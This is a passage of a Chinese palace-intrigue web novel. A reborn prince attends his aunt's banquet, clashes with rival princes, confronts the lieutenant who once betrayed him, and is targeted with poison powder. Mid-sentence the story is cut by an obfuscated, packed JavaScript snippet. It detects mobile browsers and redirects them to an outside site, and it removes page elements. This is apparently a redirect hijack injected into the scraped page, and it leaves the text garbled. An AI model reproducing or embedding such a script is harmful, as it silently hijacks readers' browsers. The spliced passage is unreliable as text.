“霄儿,你可算回来了,快让姑母看看。”李霄过去便被她拉住了双臂,长公主打量着他,不住地嘘寒问暖。 “边关苦寒,受了不少罪吧,瞧瞧,都瘦了。”说着说着,她竟流下泪来。 “姑母,您别担心,我这不是全须全尾的回来了吗。”长公主不仅是他的姑母,也是他母后的手帕交,从小便拿他当亲生儿子一般疼爱。 前世得知他的死讯,姑母两鬓斑白,整个人都衰老得不成样子,最终在国破时,自尽而亡。 眼前的姑母虽上了些年纪,但由于保养得当,容光焕发,双鬓仍乌黑,身着华服,头上的赤金红宝石步摇衬得她愈发雍容华贵。 “回来就好,过几日就是你母后的忌日了,她定是想你了,到时去与她说说话吧。”想到已故的顾皇后,长公主难免黯然。 李霄点头应下,思及母后,也甚是低落,姑侄二人间的气氛也沉了下来。 “这是?”孩子难得回来,长公主也不想平白惹他总想伤心事,故而转移了话题。 长公主已有许多年未见过玉澄了,上次见他,还是玉澄刚做李霄伴读时,如今玉澄抽条儿,身量高了不少,五官也长开了,她自然认不出了。 李霄边扶着她往里走,边介绍道:“姑母,您忘了,这是御史中丞的嫡次子,玉澄,他幼时您还夸他钟灵毓秀。” 长公主又仔细地瞧了瞧玉澄,眯着眼想了一会儿,拍着他的手道:“哦,对,这是你那个伴读吧,长这么大了,越长越俊啊,”她满意地转头问玉澄:“说亲了吗?要不要本宫给你寻一门好亲事?礼部侍郎家的嫡女我瞧着与你十分相配,改日——” 李霄见姑母的保媒瘾又上来了,吓得忙阻止:“姑母!不用了,他不说亲,您就别费心了。” 长公主嗔怪道:“你别打岔,到了适龄的时候就应该考虑这事了,你凭什么就替人家回绝了,扰了人家的好事,要怪你多事了!” “因为,他是我的——”他看向玉澄,“至交。” 生死与共,至深至爱。 “臣谢过长公主殿下抬爱,”玉澄没有听出李霄的言外之意,但心中已十分欢喜,殿下方才见到了自己狠辣不堪的一面,却仍视他为知己,他已很是知足,“然臣已心有所属,只得辜负殿下美意,请殿下恕罪。” 长公主遗憾道:“唉,无事,罢了罢了,既已有心仪之人,”她想到了什么,复又来了精神,“那不若告诉本宫,本宫也可保媒。” “哎呦姑母——您别想这事儿了,咱们先进去吧,再晚宾客都到齐了。”李霄好说歹说,终于是哄得长公主暂时打消了保媒的念头。 尚不清楚淮澈此时对自己是何种感情,他那个心仪之人万一还不是自己呢?真让姑母说动了,小伴读和别人成亲跑了,自己上哪哭去。 进了前厅,下人来禀告:“殿下,宾客们基本都到齐了,您看现在要过去吗?” 众人临席后,不少人见着李霄,便围了上来。 他刚刚凯旋,风头无两,不日又要正式册封亲王,朝堂上下纷纷猜测他是争储热门,在座的都是朝中重臣,自然想与他交好。 觥筹交错间,外头却又传来通报声:“大皇子、二皇子到——” 这两人怎么全来了?前世只有老大这个笑面虎为了维持自己在人前知礼和善的形象,来宴上惺惺作态了一番,老二这个藏不住事儿的蠢货并没有来,事出反常必有妖。 “呦,咱们大将军回来了啊,这得胜了就是不一样,前呼后拥的。”二皇子李康一进来就阴阳怪气。 “二皇弟,不可妄言。” 进来的二人皆着明黄色的皇子常服,相貌极相似,不仔细看很难分辨。 走在前面的人脸上挂着温和的笑,开口道:“四皇弟,别来无恙。”李霄盯着他这熟悉的表情,点头唤道:“大皇兄。” “四皇弟,你二皇兄一贯心直口快,其实并无恶意,为兄代他替你赔不是了,都是自家兄弟,别放在心上,朝野上下谁人不知你乃神将。”大皇子李宓还是那副谦谦君子的做派,面具戴久了,怕是把他自己都快骗过去了。 李霄瞟了眼边上二皇子那快要翻上天的白眼,这可不像“并无恶意”。 想给他戴高帽子是吧,可惜如今他不吃这套了。 “大皇兄言重了,本王幸不辱命,耗费数月,不过才击退了小小北狄而已,比不得二皇兄,”他学着李宓的语气,云淡风轻道:“朝野上下谁人不知,二皇兄不过用了月余,就淹了整个宜州,实在令本王汗颜。” 李康整个人像只被点着了尾巴的公鸡,叫嚣着冲上前,被李宓拦住还在骂骂咧咧:“封号都没下来呢,就开始本王本王了,你端的什么架子,侥幸捡了个胜仗还把自己当根葱了?” 李宓见他越说越离谱,生怕这个没脑子的弟弟继续嚷下去,会传到父皇耳朵里。 他拿出手帕塞进李康大张着的嘴里,冲李霄抱歉地笑了笑。 李霄只淡淡道:“二位皇兄,本王还有宾客要招待,先失陪了,自便。”既已刺激到了李康,接下来就看这二人会不会露出马脚了。 待李霄走得远了,李宓才取出手帕,表情阴郁地沉声呵斥:“想死你就继续叫!”刚犯了大错,若是再传出去针对皇弟,他是忙不迭地找死吗? 李康看到他晦暗不明的神色,面上虽然还是忿忿的,却不敢再言语,忙扭过头噤了声。 * 李霄还未走回席前,身后又有人唤他。 “四殿下,恭贺您封王。” 李霄的眉头瞬间揉了起来,这个声音,化成灰他都认识,他攥紧了拳头,手上青筋突起,面上却不动声色,转头看去。 正是他曾经的“心腹”,也是用一记冷箭送他上路的副将——周成。 “殿下?”周成见他不说话,如鹰隼的目光直直盯着自己,心下有些发毛,硬着头皮再次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204207|150892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口。 “多谢。”李霄语气平静地道谢。 二人寒暄了一阵,李霄始终是不咸不淡的态度,周成只当他是被方才的事扰了心情。 “臣听闻陛下将调查堤坝坍塌一事交给了殿下?”周成试探道。 李霄挑眉,不置可否,他倒要看看这人憋的什么主意。 “这差事可是有些棘手,殿下可有入手的思路了?” 这是,替李宓来打探情报了? 他胸有成竹:“自然是有了,否则本王怎敢应下呢?” 周成果然上钩,怕他起疑,还特意找补:“殿下可否说与臣听?臣也想为殿下略尽绵薄之力。” 李霄左右看了看,以手掩在唇畔,压低声音道:“堤坝图纸。” 周成瞪大了双眼:“您是说,那堤坝图纸有问题?” 李霄点头,“有没有问题,要先查了才知道。” 周成得到了想要的情报,也不再纠缠,找了个借口便离席了。 李霄望着他远去的背影,目光幽深。 待他回到席上落座,玉澄正坐在原地独自饮酒。 担心对方喝太多伤身体,便夹了两筷子菜给他,温声嘱咐:“你胃不好,少喝点,吃点菜垫垫。” 看着玉澄小鸡啄米般专注地吃菜,两颊一鼓一鼓的,李霄心里的乌烟瘴气都烟消云散了。 谁知温馨时光享受了还不到一刻钟,又来了个不速之客。 五皇子李煊端着酒杯来敬酒:“还未来得及恭喜四皇兄。” 他和老五表面还是相安无事的,只得让下人来斟上酒,不知怎地,这下人手还有些不稳,险些将酒液倒出杯子,惹得李霄多看了他一眼。 这人敛眉垂首,眼神飘忽,似是做了什么亏心事,李霄便多了个心。 借着宽大的袖子掩面,他抬头假意饮尽,实则将酒液倒在了桌底。 送走了老五,宴席也散的差不多了,他侧过头要带玉澄离席。 玉澄却猛地起身,将他推开,电光火石间,已脱下自己的外袍,罩在李霄身上。 李霄完全在状况外,不知对方为何将他罩上,不过出于对玉澄的无条件信任,仍是毫无异议地待在了袍子里。 还留在席间的众人也被二人这一突然的举动搞得不明所以,不就是有个下人差点跌倒在四皇子的身上吗,这公子怎的如此激动?还用外袍罩住了四皇子的头,不怕被治个冒犯之罪吗! 那下人反应也是极快,见此状况,脚底抹油一般,溜得飞快,拐了个弯就消失在视野里。 玉澄见人走了,才将袍子拿下来,低声道:“殿下,方才那人,身上有绝命花粉的味道。” 李霄的瞳孔瞬间缩紧,当机立断示意暗卫去追那下人。 随后在众人惊诧的目光中,直挺挺地“晕”了过去。不偏不倚,正晕在怔愣错愕的玉澄怀里。 玉澄大脑一片空白,惊惧担忧的情绪将他淹没,令他险些窒息,明明他已将毒粉挡开了,殿下怎么还会中毒?!